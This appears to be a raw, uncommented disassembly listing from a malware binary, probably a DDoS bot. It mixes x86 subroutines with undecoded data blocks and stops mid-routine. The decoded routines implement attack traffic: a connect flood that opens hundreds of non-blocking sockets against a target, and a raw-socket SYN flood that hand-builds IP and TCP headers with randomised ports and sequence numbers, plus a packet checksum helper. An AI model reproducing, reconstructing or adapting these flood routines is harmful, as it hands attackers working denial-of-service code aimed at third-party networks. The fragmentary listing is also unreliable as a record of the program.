0DC458903h, 6AD0458Bh, 0F759990Ah dd 0D87D39F9h, 75D04589h, 0D8758903h, 7D39F633h, 0E81A7ED4h dd 7FC6h, 0FFB999h, 0F9F70000h, 0D4753B46h, 0EF359488h dd 7CFFFEFCh, 0D0458BE6h, 85D04DFFh, 6A557EC0h, 458D5E0Bh dd 50106AF0h, 7F98E857h, 0A6A0000h, 0F9F75999h, 2BD4458Bh dd 858D50C2h, 0FFFEFCF0h, 15FF5350h, 4C9368h, 90D875FFh dd 27BF13E8h, 0CE754E02h, 75DC7D39h, 7F68E8BCh, 0B9990000h dd 0FFDCh, 5242F9F7h, 930415FFh, 8966004Ch, 0A1EBF245h dd 0FF50858Dh, 8D50FFFFh, 0FFFCCC85h, 726C68FFh, 0E8500043h dd 7EDEh, 390CC483h, 2075E87Dh, 0CC858D57h, 0FFFFFFFCh dd 8D50E475h, 0FFFED085h, 0B5FF50FFh, 0FFFFFECCh, 0FF5715E8h dd 14C483FFh, 0FCCC858Dh, 0E850FFFFh, 1B92h, 0E8E075FFh dd 0FFFF7565h, 0E8575959h, 22DBE94h db 90h byte_41416D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401AC7+4D0Fo dd 414EC81h, 458B0000h, 0B9575608h, 85h, 0BD8DF08Bh, 0FFFFFDECh dd 80C7A5F3h, 210h, 1, 0FEF0858Dh, 8D50FFFFh, 0FFFE7085h dd 858D50FFh, 0FFFFFDF0h, 11DE850h, 8D500000h, 0FFFBEC85h dd 72C068FFh, 0E8500043h, 7E46h, 0C483F633h, 0F8753918h dd 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h, 50FFFFFFh dd 0FDECB5FFh, 7BE8FFFFh, 83FFFF56h, 858D14C4h, 0FFFFFBECh dd 1AF8E850h, 75FF0000h, 74CBE8F0h, 5959FFFFh, 0F9E89056h dd 5F022DBDh ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414209 proc near ; CODE XREF: ___:004142F2p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4C9304 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_4142C7 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_414254: ; CODE XREF: sub_414209+B9j lea esi, [ebp+var_654] mov ebx, edi loc_41425C: ; CODE XREF: sub_414209+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41427F lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41427F: ; CODE XREF: sub_414209+64j add esi, 4 dec ebx jnz short loc_41425C lea esi, [ebp+var_654] mov ebx, edi loc_41428D: ; CODE XREF: sub_414209+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_41428D push 64h nop call near ptr 2690000h lea esi, [ebp+var_654] mov ebx, edi loc_4142B1: ; CODE XREF: sub_414209+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_4142B1 dec [ebp+arg_4] jnz short loc_414254 pop edi pop esi pop ebx loc_4142C7: ; CODE XREF: sub_414209+3Ej xor eax, eax leave retn sub_414209 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov edi, eax call sub_41BEF9 push dword ptr [esp+20h] mov ebx, eax call sub_41BEF9 mov esi, eax push esi push ebx push edi call sub_414209 add esp, 18h test eax, eax jnz short loc_414301 push 1 pop eax loc_414301: ; CODE XREF: ___:004142FCj cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_414310 dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401AC7+63A9o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 30DE8h dd 858D5000h, 0FFFFFBECh, 4372EC68h, 0A3E85000h, 3300007Ch dd 18C483F6h, 75F87539h, 858D5620h, 0FFFFFBECh, 50F475FFh dd 0FF70858Dh, 0FF50FFFFh, 0FFFDECB5h, 54D8E8FFh, 0C483FFFFh dd 0EC858D14h, 50FFFFFBh, 1955E8h, 0F075FF00h, 0FF7328E8h dd 565959FFh, 0BC56E890h, 5E5F022Dh ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4143AC proc near ; CODE XREF: ___:0041469Ap var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4C9274 test eax, eax jz short loc_4143EC xor eax, eax jmp loc_41465A ; --------------------------------------------------------------------------- loc_4143EC: ; CODE XREF: sub_4143AC+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4C93A8 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_414652 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4C92E4 cmp eax, 0FFFFFFFFh jz loc_414648 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BD10 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4C9304 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4C9304 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4C9304 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4C9304 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 27B048Fh lea eax, [ebp+var_8] push eax nop call near ptr 27B01AEh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DA20 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_4144D7: ; CODE XREF: sub_4143AC+25Dj ; sub_4143AC+26Bj mov [ebp+var_24], bx call sub_41C062 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4C9304 mov [ebp+var_34], ax call sub_41C062 mov edi, eax shl edi, 10h call sub_41C062 or edi, eax push edi call dword_4C9304 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4C9300 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4C9304 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41CAB0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AA53 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41CAB0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD10 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AA53 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41CAB0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4C9368 cmp eax, 0FFFFFFFFh jz short loc_41461C add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 27B01AEh nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_414645 jl loc_4144D7 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_414645 jmp loc_4144D7 ; --------------------------------------------------------------------------- loc_41461C: ; CODE XREF: sub_4143AC+247j call dword_4C9298 push eax lea eax, [ebp+var_F4] push offset dword_437314 push eax call sub_41C006 lea eax, [ebp+var_F4] push eax call sub_415CEE add esp, 10h jmp short loc_414648 ; --------------------------------------------------------------------------- loc_414645: ; CODE XREF: sub_4143AC+25Bj ; sub_4143AC+269j mov ebx, [ebp+arg_8] loc_414648: ; CODE XREF: sub_4143AC+78j ; sub_4143AC+297j push [ebp+var_C] call dword_4C939C pop esi loc_414652: ; CODE XREF: sub_4143AC+5Bj call dword_4C925C mov eax, ebx loc_41465A: ; CODE XREF: sub_4143AC+3Bj pop edi pop ebx leave retn sub_4143AC endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40A8E4 push dword ptr [esp+18h] mov esi, eax call sub_41BEF9 push dword ptr [esp+20h] mov ebx, eax call sub_41BEF9 mov edi, eax call sub_41C062 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_4143AC add esp, 1Ch test eax, eax jnz short loc_4146A9 push 1 pop eax loc_4146A9: ; CODE XREF: ___:004146A4j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4146B8 dd 81EC8B55h, 394ECh, 8458B00h, 656A5756h, 8DF08B59h, 0FFFE6CBDh ; DATA XREF: sub_401AC7+6D33o dd 0C7A5F3FFh, 19080h, 100h, 0F0858D00h, 50FFFFFEh, 7810E8h dd 8D505900h, 0FFFE7085h, 15FF50FFh, 4C9344h, 5BE850h dd 8D500000h, 0FFFC6C85h, 733468FFh, 0E8500043h, 78F6h dd 0C483F633h, 0F8753914h, 8D562075h, 0FFFC6C85h, 0F475FFFFh dd 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 2BE8FFFFh, 83FFFF51h dd 858D14C4h, 0FFFFFC6Ch, 15A8E850h, 75FF0000h, 6F7BE8F0h dd 5959FFFFh, 0A9E89056h, 5F022DB8h, 0EC8B555Eh, 98EC81h dd 56530000h, 59016A57h, 0FF78A583h, 6A00FFFFh, 0A8658304h dd 0FFBB5E00h, 6A000000h, 5AC03306h, 89AC7D8Dh, 0FFFF7C8Dh dd 8045C7FFh, 2, 89847589h, 45C78855h, 88Ch, 9045C700h dd 0Ch, 119445C7h, 0C7000000h, 169845h, 45C70000h, 299Ch dd 0A045C700h, 3Ah, 89A45D89h, 8DABB045h, 4589D47Dh, 0B84589B4h dd 0BC45C7h, 89000020h, 5589C075h, 0C845C7C4h, 3FFFh, 89CC4D89h dd 4D89D045h, 0BFABD8h, 57000001h, 8F3CE8h, 45895900h dd 0FF5057FCh, 4C931815h, 0FC75FF00h, 938815FFh, 408B004Ch dd 36A530Ch, 8B026Ah, 4589008Bh, 8415FFF4h, 8D004C93h dd 5156D84Dh, 6A026Ah, 0FC458950h, 92E415FFh, 0BE004Ch dd 56000002h, 745AE8h, 0B83D8B00h, 59004270h, 0FFF84589h dd 0F04589D7h, 6808458Bh, 29Ah, 0FF6C8589h, 0C766FFFFh dd 0FFFF6885h, 0FF0002FFh, 4C930415h, 85896600h, 0FFFFFF6Ah dd 452BD7FFh, 0B9D233F0h, 3E8h, 453BF1F7h, 0CF870F0Ch dd 0E8000000h, 77D2h, 0F7CB8B99h, 0F4458BF9h, 0FFFFFF25h dd 18E2C100h, 5589D00Bh, 77B8E8F4h, 8B990000h, 89F9F7CBh dd 0ABE8AC55h, 99000077h, 1FA4B9h, 0DC45C600h, 0C6F9F745h dd 8904DD45h, 93E8D455h, 66000077h, 0E8E04589h, 778Ah dd 59990A6Ah, 8B66F9F7h, 50B09544h, 930415FFh, 6656004Ch dd 0FFE24589h, 4C930415h, 45896600h, 0E45D88DEh, 7761E8h dd 990E6A00h, 6AF9F759h, 95848A14h, 0FFFFFF78h, 8BE54588h dd 4589F445h, 8458BE8h, 8DEC4589h, 0E850DC45h, 0FFFF612Bh dd 0E6458966h, 6ADC458Dh, 75FF5014h, 8176E8F8h, 0C4830000h dd 68858D14h, 6AFFFFFFh, 6A5010h, 0F875FF56h, 0FFFC75FFh dd 4C936815h, 0FF1AE900h, 75FFFFFFh, 70CFE8F8h, 0FF590000h dd 15FFFC75h, 4C939Ch, 5F58016Ah, 0C3C95B5Eh dword_414974 dd 81EC8B55h, 440ECh, 8458B00h, 6A575653h, 59F08B68h, 0FDC0BD8Dh ; DATA XREF: sub_401AC7+534Ao dd 0A5F3FFFFh, 0DB33016Ah, 61BD8D5Eh, 6AFFFFFFh, 9CB0890Eh dd 59000001h, 9D88C033h, 0FFFFFF60h, 0AB66ABF3h, 0B83D8BAAh dd 0FF004270h, 99E850D7h, 59000076h, 0FF68h, 6A036A00h dd 8415FF02h, 83004C93h, 4589FFF8h, 0FF6675FCh, 4C929815h dd 858D5000h, 0FFFFFBC0h, 43744C68h, 17E85000h, 83000076h dd 9D390CC4h, 0FFFFFF58h, 8D532375h, 0FFFBC085h, 54B5FFFFh dd 50FFFFFFh, 0FEC4858Dh, 0FF50FFFFh, 0FFFDC0B5h, 4E48E8FFh dd 0C483FFFFh, 0C0858D14h, 50FFFFFBh, 12C5E8h, 44B5FF00h dd 0E8FFFFFFh, 0FFFF6C95h, 0E8535959h, 22DB5C4h, 0CC4D8D90h dd 6A51046Ah, 89505302h, 15FFCC75h, 4C92E4h, 75FFF883h dd 9815FF66h, 50004C92h, 0FBC0858Dh, 1468FFFFh, 50004374h dd 7599E8h, 0CC48300h, 0FF589D39h, 2375FFFFh, 0C0858D53h dd 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h dd 0E8FFFFFDh, 0FFFF4DCAh, 8D14C483h, 0FFFBC085h, 47E850FFh dd 0FF000012h, 0FFFF44B5h, 6C17E8FFh, 5959FFFFh, 45E89053h dd 8D022DB5h, 0FFFDC485h, 15FF50FFh, 4C9344h, 75FFF883h dd 0C0858D5Eh, 68FFFFFBh, 4373F4h, 7528E850h, 9D390000h dd 0FFFFFF58h, 23755959h, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4D5Ah dd 8D14C483h, 0FFFBC085h, 0D7E850FFh, 0FF000011h, 0FFFF44B5h dd 6BA7E8FFh, 5959FFFFh, 0D5E89053h, 6A022DB4h, 0BC458D10h dd 0D9E85053h, 83000071h, 0C7660CC4h, 2BC45h, 415FF53h dd 66004C93h, 8DBE4589h, 0FFFDC485h, 15FF50FFh, 4C9344h dd 89C04589h, 0D7FF085Dh, 0FFD04589h, 0D0452BD7h, 0E8B9D233h dd 0F7000003h, 4C853BF1h, 0FFFFFFFh, 2AA87h, 0C6286A00h dd 0FF45D445h, 4C930415h, 509D3900h, 66FFFFFFh, 66D64589h dd 66D87589h, 0C6DA5D89h, 0C680DC45h, 6606DD45h, 74DE5D89h dd 74B4E82Dh, 0F08B0000h, 0E808E6C1h, 74AAh, 0E6C1F003h dd 74A0E808h, 0F0030000h, 0E808E6C1h, 7496h, 16AF003h dd 5EE07589h, 0B5FF16EBh, 0FFFFFDC0h, 0FF5E19E8h, 0FF5059FFh dd 4C934415h, 0E0458900h, 39C0458Bh, 0FFFF489Dh, 0E44589FFh dd 63E81075h, 99000074h, 401B9h, 52F9F700h, 0B5FF06EBh dd 0FFFFFF48h, 930415FFh, 8966004Ch, 43E8EA45h, 99000074h dd 401B9h, 52F9F700h, 930415FFh, 7868004Ch, 66123456h dd 0FFE84589h, 4C930015h, 0EC458900h, 0FE44858Dh, 0D068FFFFh dd 500042B0h, 742FE8h, 0C0855900h, 89097459h, 45C6F05Dh dd 5CEB02F5h, 0FE44858Dh, 0EC68FFFFh, 500042AEh, 740FE8h dd 0C0855900h, 89097459h, 45C6F05Dh, 3CEB10F5h, 0FE44858Dh dd 0E468FFFFh, 500042AEh, 73EFE8h, 0C0855900h, 0E8257459h dd 73C6h, 5999036Ah, 5589F9F7h, 73B8E8F0h, 26A0000h, 0F9F75999h dd 0D21ADAF7h, 20EE280h, 0F55588D1h, 20068h, 0F445C600h dd 415FF50h, 66004C93h, 8BF64589h, 4589E045h, 0E4458B9Ch dd 8966146Ah, 8966FA5Dh, 4589F85Dh, 0A45D88A0h, 6A545C6h dd 930415FFh, 8966004Ch, 458DA645h, 50206A9Ch, 0FF60858Dh dd 0E850FFFFh, 7DA8h, 6AE8458Dh, 458D5014h, 99E85080h dd 8D00007Dh, 0FFFF6085h, 50346AFFh, 0FF5D2EE8h, 458966FFh dd 0D4458DF8h, 8D50146Ah, 0FFFF6085h, 75E850FFh, 8D00007Dh dd 146AE845h, 74858D50h, 50FFFFFFh, 7D63E8h, 8D046A00h dd 50538845h, 6FB7E8h, 44C48300h, 0FF60858Dh, 286AFFFFh dd 5CE9E850h, 8966FFFFh, 458DDE45h, 50146AD4h, 0FF60858Dh dd 0E850FFFFh, 7D30h, 8D14C483h, 106ABC45h, 858D5350h dd 0FFFFFF60h, 0FF503C6Ah, 15FFFC75h, 4C9368h, 74FFF883h dd 845FF08h, 0FFFDBAE9h, 0FC75FFFFh, 939C15FFh, 15FF004Ch dd 4C9298h, 0C4858D50h, 0FFFFFFFDh, 68500875h, 4373A4h dd 0FBC0858Dh, 68FFFFh, 50000002h, 7327E8h, 18C48300h dd 0FF589D39h, 2375FFFFh, 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h dd 858D50FFh, 0FFFFFEC4h, 0C0B5FF50h, 0E8FFFFFDh, 0FFFF4A5Eh dd 8D14C483h, 0FFFBC085h, 0DBE850FFh, 0FF00000Eh, 0FFFF44B5h dd 68ABE8FFh, 5959FFFFh, 0B1DAE853h, 0FF90022Dh, 15FFFC75h dd 4C939Ch, 3308458Bh, 3CC06BD2h, 0E8C1C88Bh, 4CB5F70Ah dd 0C1FFFFFFh, 505114E9h, 0FDC4858Dh, 75FFFFFFh, 858D5008h dd 0FFFFFE44h, 0C0858D50h, 68FFFFFBh, 437354h, 719CE850h dd 0C4830000h, 589D391Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h dd 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h dd 0FF49CDE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 0E4Ah dd 0FF44B5FFh, 1AE8FFFFh, 59FFFF68h, 49E85359h, 90022DB1h ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_414EE4 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414ED6: ; CODE XREF: ___:00414EDEj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414ED6 pop edi cmp eax, 1 loc_414EE4: ; CODE XREF: ___:00414ECAj jnz short loc_414EF1 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_414EF1: ; CODE XREF: ___:loc_414EE4j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- word_414F0A dw 8B55h ; DATA XREF: sub_401AC7+6C61o dd 94EC81ECh, 8B000003h, 57560845h, 8B59656Ah, 6CBD8DF0h dd 0F3FFFFFEh, 9080C7A5h, 1000001h, 8D000000h, 0FFFEF085h dd 0BEE850FFh, 5900006Fh, 70858D50h, 50FFFFFEh, 934415FFh dd 8D50004Ch, 0FFFE6CB5h, 94EC81FFh, 6A000001h, 0FC8B5965h dd 5CE8A5F3h, 50000000h, 0FC6C858Dh, 8068FFFFh, 50004374h dd 7091E8h, 81F63300h, 1A8C4h, 0F8753900h, 8D562075h, 0FFFC6C85h dd 0F475FFFFh, 70858D50h, 50FFFFFFh, 0FE6CB5FFh, 0C3E8FFFFh dd 83FFFF48h, 858D14C4h, 0FFFFFC6Ch, 0D40E850h, 75FF0000h dd 6713E8F0h, 5959FFFFh, 41E89056h, 55022DB0h, 0EC81EC8Bh dd 0CCh, 358B5653h, 4270B8h, 8957DB33h, 0D6FFFC5Dh, 0FF68h dd 6A036A00h, 0F0458902h, 938415FFh, 4589004Ch, 50D6FFF8h dd 7063E8h, 78BF5900h, 57000005h, 16A096Ah, 3B7DE8h, 50595900h dd 50D8458Dh, 6CFFE8h, 0CC48300h, 5A0BEh, 94E89000h, 2B0228B6h dd 0D233F045h, 3E8B9h, 3BF1F700h, 1A085h, 0C0870F00h, 39000001h dd 4CCAC01Dh, 6A577500h, 45895810h, 458D50ECh, 0E8505398h dd 6CC0h, 8D0CC483h, 8D50EC45h, 0FF509845h, 15FF0875h dd 4C92A8h, 0FF68h, 0E8016A00h, 3B12h, 45B60F50h, 0B60F509Eh dd 0F509D45h, 509C45B6h, 0FF34858Dh, 1068FFFFh, 500042D9h dd 6F75E8h, 20C48300h, 858D13EBh, 0FFFFFF34h, 4CC4A068h dd 79E85000h, 59000075h, 34858D59h, 50FFFFFFh, 934415FFh dd 4589004Ch, 0A8458BF4h, 0C564524h, 0AC45C645h, 0A8458910h dd 930415FFh, 8966004Ch, 8BE8AE45h, 6600006Fh, 8BB04589h dd 4589F445h, 9C858BB8h, 66000001h, 40B245C7h, 0B445C600h dd 0B545C640h, 5D896606h, 0BC4589B6h, 6F61E8h, 45896600h dd 6F58E8C0h, 89660000h, 4FE8C245h, 8900006Fh, 47E8C445h dd 8900006Fh, 458BC845h, 502566CCh, 0C146AFFh, 0CE45C650h dd 45896618h, 458B66CCh, 458966C2h, 0BC458B8Ah, 8D8C4589h dd 6650A845h, 7DD045C7h, 5D896678h, 5D8966D2h, 45C766D4h dd 0E8000288h, 0FFFFFD5Ch, 0B6458966h, 6AA8458Dh, 4DE85028h dd 8BFFFFFDh, 0C483B845h, 54858910h, 8BFFFFFFh, 8C68BC45h dd 89000005h, 0FFFF5885h, 5C9D88FFh, 0C6FFFFFFh, 0FFFF5D85h dd 0E89006FFh, 7169C5AEh, 5E858966h, 8DFFFFFFh, 0FFFF6085h dd 50146AFFh, 50C0458Dh, 78FFE8h, 74858D00h, 57FFFFFFh dd 0D8458D50h, 78EEE850h, 858D0000h, 0FFFFFF54h, 59868h dd 0E5E85000h, 83FFFFFCh, 896620C4h, 106AD245h, 5088458Dh dd 0A8458D53h, 75FF5056h, 6815FFF8h, 0FF004C93h, 22E9FC45h dd 0FFFFFFFEh, 15FFF875h, 4C939Ch, 5FFC458Bh, 0C3C95B5Eh dword_415208 dd 81EC8B55h, 414ECh, 8558B00h, 85B856h, 8B570000h, 8DF28BC8h ; DATA XREF: sub_401AC7+4BE2o dd 0FFFDECBDh, 14EC81FFh, 0F3000002h, 8DC88BA5h, 0FFFDECB5h dd 0C7FC8BFFh, 21082h, 100h, 0E8A5F300h, 36h, 0EC858D50h dd 68FFFFFBh, 4374B4h, 6DACE850h, 0C4810000h, 220h, 0FBEC858Dh dd 0E850FFFFh, 0A82h, 0E8F075FFh, 0FFFF6455h, 6A5959h dd 0AD82E890h, 8B55022Dh, 54EC81ECh, 53000002h, 0FFBB56h dd 53570000h, 26A036Ah, 938415FFh, 0F883004Ch, 0F44589FFh dd 858D1A75h, 0FFFFFDACh, 4376A468h, 53E85000h, 5900006Dh dd 0E959FF33h, 2C6h, 6AEC4D8Dh, 0FF335104h, 5057026Ah dd 1EC45C7h, 0FF000000h, 4C92E415h, 0FFF88300h, 15FF0E75h dd 4C9298h, 76546850h, 1BEB0043h, 500C458Dh, 934415FFh dd 0F883004Ch, 0FF2075FFh, 4C929815h, 10685000h, 8D004376h dd 0FFFDAC85h, 0F7E850FFh, 8300006Ch, 6BE90CC4h, 57000002h dd 0DC45C766h, 15FF0002h, 4C9304h, 0DE458966h, 500C458Dh dd 69BFC7E8h, 358B9071h, 4270B8h, 0FFE04589h, 0F84589D6h dd 500C458Dh, 0FDAC858Dh, 0E468FFFFh, 50004375h, 6CB1E8h dd 0CC48300h, 214BD39h, 20750000h, 0AC858D57h, 0FFFFFFFDh dd 210B5h, 858D5000h, 18Ch, 875FF50h, 0FF44E5E8h, 14C483FFh dd 0FFFC7D89h, 0F8452BD6h, 0E8B9D233h, 0F7000003h, 8DF08BF1h dd 10C85h, 5AE85000h, 3B00006Bh, 870F59F0h, 191h, 41CBEh dd 0BB05EB00h, 0FFh, 0CAC03D39h, 5075004Ch, 8958106Ah dd 8D50F045h, 5057CC45h, 6943E8h, 0CC48300h, 50F0458Dh dd 50CC458Dh, 0FF0875FFh, 4C92A815h, 16A5300h, 3799E8h dd 0B60F5000h, 0F50D245h, 50D145B6h, 0D045B60Fh, 0AC458D50h dd 42D91068h, 0FFE85000h, 8300006Bh, 10EB20C4h, 68AC458Dh dd 4CC4A0h, 7206E850h, 59590000h, 0A005C656h, 45004CC6h dd 930415FFh, 0A366004Ch, 4CC6A2h, 50AC458Dh, 0A405C766h dd 1004CC6h, 3D896600h, 4CC6A6h, 0C6A805C6h, 0C680004Ch dd 4CC6A905h, 89661100h, 4CC6AA3Dh, 4415FF00h, 0A3004C93h dd 4CC6ACh, 0A3E0458Bh, 4CC6B0h, 8C858Dh, 66500000h, 0C6BA3D89h dd 7AE8004Ch, 8500006Ah, 107559C0h, 6BD9E8h, 1B99900h dd 0F7000004h, 0EEB52F9h, 8C858Dh, 0E8500000h, 6A59h, 15FF5059h dd 4C9304h, 0C6B6A366h, 0AFE8004Ch, 9900006Bh, 401B9h dd 4086800h, 0F9F70000h, 0B4158966h, 0FF004CC6h, 4C930415h dd 4006800h, 0A3660000h, 4CC6B8h, 6B85E8h, 0FBF79900h dd 0C6BC6852h, 25E8004Ch, 83000068h, 458D0CC4h, 50106ADCh dd 0A0685657h, 0FF004CC6h, 15FFF475h, 4C9368h, 0FFFF883h dd 0A484h, 0FC45FF00h, 0B19DE890h, 452B0228h, 0B9D233F8h dd 3E8h, 0D88BF1F7h, 10C858Dh, 0E8500000h, 69C9h, 0F59D83Bh dd 0FFFE7686h, 0F475FFFFh, 939C15FFh, 758B004Ch, 0C858DFCh dd 50000001h, 41CF669h, 0A2E80000h, 8B000069h, 0C1C68BC8h dd 0D2330AE8h, 0EEC1F1F7h, 0FF565014h, 458DFC75h, 858D500Ch dd 0FFFFFDACh, 43758068h, 87E85000h, 8300006Ah, 0BD391CC4h dd 214h, 8D572075h, 0FFFDAC85h, 10B5FFFFh, 50000002h, 18C858Dh dd 0FF500000h, 0BBE80875h, 83FFFF42h, 5E5F14C4h, 0C95BC033h dd 0FC75FFC3h, 9815FF56h, 50004C92h, 500C458Dh, 0FDAC858Dh dd 0F468FFFFh, 50004374h, 6A35E8h, 18C48300h db 0EBh, 0ACh word_4155D6 dw 8B55h ; DATA XREF: sub_401AC7+62C1o dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 68F0E8h dd 8D505900h, 0FFFE7085h, 0E2E850FFh, 59000068h, 0F0858D50h dd 50FFFFFDh, 934415FFh, 0E850004Ch, 144h, 0EC858D50h dd 68FFFFFBh, 4376D0h, 69C8E850h, 0F6330000h, 3918C483h dd 2075F875h, 0EC858D56h, 0FFFFFFFBh, 8D50F475h, 0FFFF7085h dd 0B5FF50FFh, 0FFFFFDECh, 0FF41FDE8h, 14C483FFh, 0FBEC858Dh dd 0E850FFFFh, 67Ah, 0E8F075FFh, 0FFFF604Dh, 90565959h dd 2DA97BE8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 210h and dword ptr [ebp-4], 0 